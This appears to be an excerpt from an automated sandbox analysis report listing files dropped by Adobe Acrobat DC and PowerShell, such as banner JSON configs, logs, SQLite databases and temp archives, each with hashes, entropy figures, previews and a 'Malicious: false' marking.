SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJfbPtdPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGDV8Ukee9
MD5:	B8717FFBCE49D6A2E5756FD52F761558
SHA1:	33C902B8DB7E1F5060B71304D9E7EBCCFC73CCD0
SHA-256:	7D3B66C70C9A8D8C91ACC944AE74CFBDA3396620F3C543DD08B823DD9B93CC98
SHA-512:	EDC24C0AEA3D4A69E0E111B4C86F9B5F71DBD619BD9021275935CD12ED91FADA5576240692D96BAD930C189D1113D71B06B26FEE07DE0DC53DAB27D3922DBFAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.252173860272429
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJf21rPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVG+16Ukee9
MD5:	5357FA582D873FC9A1C58B93E5A3DE1B
SHA1:	14445CC486D026913F33FFBBC0C04F1CE0FACCCD
SHA-256:	659E9F4D0753BA8F28C72C59F4D95457EEB6F5315FBA77F1A6220C5202CCC9F0
SHA-512:	B5DC502648E452F593269A8374107B1CBBD8303019A5DF879A3540E098FFFE3C44E267041B54BA223106673E2E8E73DE7AA03B3C1671461471F6C17064372B09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660169982288354
Encrypted:	false
SSDEEP:	24:Yv6XM9ILR2JhIamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSgr:Yv1qL8JhOBgkDMUJUAh8cvMgr
MD5:	952B94C09CC0FCC502F2063A1A24389B
SHA1:	080E383D0A27D924D6772D41933F71E7720CF964
SHA-256:	FDAF875B91129AEEFE52CCBF75E17EAAB4BBA9FFA33F42176921DB497903875C
SHA-512:	0B602A4D6C5C57DE4C48182B686ABD9DAAD9592D8293954B75ABC299FAA300554212A459AE610B76FB1225272F75935691C12D99885CD496FD6A1EEA7FF40884
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.227392345716284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJfshHHrPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGUUUkee9
MD5:	A1D7148E78BD79D77DD720A052F30FE9
SHA1:	74B6260CA07BAC8D770898EF4679ECF518922E58
SHA-256:	68F95A953873C1F5F647A05E1B74973CA35535B19CE5FEDC5C839C64FC6BF588
SHA-512:	15DAD4900BFFD21411DB827C8B054728DC475868675B31C39465D4D859F315A42149E3494FD4CB35B8D975A7432B173A02D903AC8C148583FA35BF95CA14F722
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.243169885463469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJTqgFCrPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGTq16Ukee9
MD5:	CDECCBBEAC435ADE6812A80BD0206C80
SHA1:	DB63874DB7592633CDEBD80FF4B1EDF85442E417
SHA-256:	8C892FF8350D4A3718421918EF801F0EB2AA05A45CCF4E8ECB5B78A87A30AE58
SHA-512:	7192BB6425FD85BE78037CF37A8937EADE1ADFC9327E71DE60ED1566A867F6E772AB46DB7BB486580BA0385964406E9313407D2BDADA4FF0A211A0D88E90E041
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.152080527144017
Encrypted:	false
SSDEEP:	24:YDaJGBmayXHa34jX0G6DRwMOuiHgjJ1j0SsRo/k20nN2LSeCKcXHXSM8xX5B9Ruk:YZsHa9VDWM+SjRMhnNEfcXHixz9R
MD5:	357E756241A01F4371A35E0C5FA58F9F
SHA1:	F2636403C5FA2DB77E6F9BE5093458369DEE5BEB
SHA-256:	7FFD96DEF3615343A201C839195D5C67A570D6290BF8881FAC91767B53AD38CB
SHA-512:	79442A9E73CA7A02B66D0C053D805A5774139E31DAE544C417D04D180C13527D2E71340962CAF0CE41D69725FB520F802E77DFB6526101987FAF656578EEC3D7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1b3ca24f710e116106bdfa1bd6774c61","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736543963000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0d014585939cb2ba651802e9c552f8cb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736543963000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"78f9f0559c7dca1cf2d4f5cbe53fbb76","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543963000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fb1103ca0e2e83bfd0fb34afd3bbbfcf","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736543963000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5dabc1d26bf104c3a3cc3fc8cba42a30","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736543963000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2eb007e1f02bab20c0ae8329982654a1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3189237193774699
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeeKtqVpj:TGufl2GL7ms9WR1CPmPbPahFypilIn
MD5:	9F45165556675790D47C3CDDB965FBED
SHA1:	50544D036853F8EB452CAB6449068A2641819868
SHA-256:	EAD4A5B8945A49770DE2855F1A3010E4AC8A556EC024B6A6D7F0C402BCDADCDF
SHA-512:	926CD476B8F3C4163175ED5A235BC2DD322B2CCA5470C281C4F63EC09E47A267A044E0911BCDCD0EC22B6E3023A78843CB035EA82B0943CA0519E8EB0D83ADDC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7805908792327878
Encrypted:	false
SSDEEP:	24:7+tRtlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeeK4qVpaVrScVr0InWqLhxb:7MYWR1CPmPbPahAypilIbqFl2GL7msx
MD5:	C90412CF62B2903817141A4085C09429
SHA1:	22C1947AA755110079B544D2A806CCE9ACDABA9A
SHA-256:	52BA2C16F39C45C3DD6D02C324900959EE3561918FBB7D461D50BC8A81EBE89A
SHA-512:	99D2A603FEB5FC4995EED5337F882BC2046C49F2B9C8193B3A93BD83456B18911FFC0E4E700E0231B152D156EE66FB6523B04DE1E981B7793FD460C8FEC24B12
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg3xut2Op5UkY9RpDfiztjvruMfT4Yyu:6a6TZ44ADE3xut2N9RJqtjuML4K
MD5:	E48A756D661C0BD7917D13DD7F78886C
SHA1:	D0FC8FB18FD8561EEF369CF7EE60DA6E07B7F64E
SHA-256:	CCEC542ABBE271FBC09F2849E6819368C8E1385E71A5327B167BF4757B6D7BBE
SHA-512:	BB8E49D673E6C11F03E7551E7263CD9A22486854754A4F23525B12D0A791EF0BC80B738C1F2BDBCB84E100732A24E32F22BB292DBD6F1209188E8CBED3212A56
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI9a4f7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNNmNlH:Qw946cPbiOxDlbYnuRK+bDrNNmN9
MD5:	6EF4AD199499509BDBF75D7EC7EB9079
SHA1:	9F77474F4944E977B73A63F36105CE82AB8719BA
SHA-256:	A78B7DEF00FFDAECA03939BEB22BCFCA1D4C4DF6C4FADD2D2CAFFBE4538F1425
SHA-512:	2E2F3EED266818DFC84FC757DDF60AD071A498CB8017F05DC54132B77AB8AD8BF1F1EE541EB268A04E233C8DE00C623F237BB83FE7CB2696D6952EA195994B9C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.1.9.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h04z4ehj.45r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kolvcnk4.3d0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-19-16-505.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.325356824674774
Encrypted:	false
SSDEEP:	384:nrJaBvnrk/6tfpYcP9kha8g6GVEvqEErnYCMmeutILV9ce9uhr+wprqr+/13by1z:uhyl
MD5:	EB176AA9570BF11A97634959FB840648
SHA1:	D5E7B8C364F1584716095A92C4A35B73900ECA57
SHA-256:	9E28CCA6CEF96EE8C434AD8C7A581290F74F168CA6960D381FD57EC0DE21B324
SHA-512:	DCF6C83E9B857A3BF911E81765A98CED3188AD2B7B7E867BDEB2F48EF59B67D2C10A5C594D42FCC9B0283B90095E6995EE36B28CB521C4371F398B0E435634C8
Malicious:	false
Preview:	SessionID=a053be16-4ee3-41e4-8f77-528162b021aa.1736543956516 Timestamp=2025-01-10T16:19:16:516-0500 ThreadID=7540 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a053be16-4ee3-41e4-8f77-528162b021aa.1736543956516 Timestamp=2025-01-10T16:19:16:517-0500 ThreadID=7540 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a053be16-4ee3-41e4-8f77-528162b021aa.1736543956516 Timestamp=2025-01-10T16:19:16:517-0500 ThreadID=7540 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a053be16-4ee3-41e4-8f77-528162b021aa.1736543956516 Timestamp=2025-01-10T16:19:16:517-0500 ThreadID=7540 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a053be16-4ee3-41e4-8f77-528162b021aa.1736543956516 Timestamp=2025-01-10T16:19:16:517-0500 ThreadID=7540 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.410595145229448
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb0scbGI1DcbJ:ceo4+rsC2B1I
MD5:	3F5512EBB0A607D2A1D811DACB4E8070
SHA1:	72DD3C33451B73D42D489AE6A0D184A51699B8B6
SHA-256:	8708F9176E4575E981BE9E3E8BE4AFFB75AEAA21ED28731163B1BDBB5F9B7975
SHA-512:	CE02D0CFB7489DC7C8637B9A991F2A17EF8C7C57302E373740C3A2CA17CFAD3C7E284AE1281C5C5C9BBC5559E9F70D2390C7B359A29319C518045CDE93478DCF
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\02913a47-fbac-4947-993d-c0ed8970839d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\60f8db43-49d8-43fc-9165-715b91259fe8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\921ef13f-b9e9-4d0c-b6fc-de3a0e9e1de8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xUGwYIGNPzWo7oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JUGwZG5W9YGZn3mlind9i4ufFXpAXkru
MD5:	D8CD91D0D4DA941CC3A44212F0743819
SHA1:	206259C0F31DD9C585509CE6DD5AB1C36476B4DB
SHA-256:	F0CA5DCC064404092834172C5B9431A1CFC30E01356ED82A287694462EA61FE4
SHA-512:	993B58310DBBC5B6C7E53E70CB8C8EDF19EB606FEDF5092EDBB6A984FBE82421329B6B482E9488FA3FDAE4E49E9CD80143749DB8A696CE13C7052F45A33F41AE
Malicious:	false
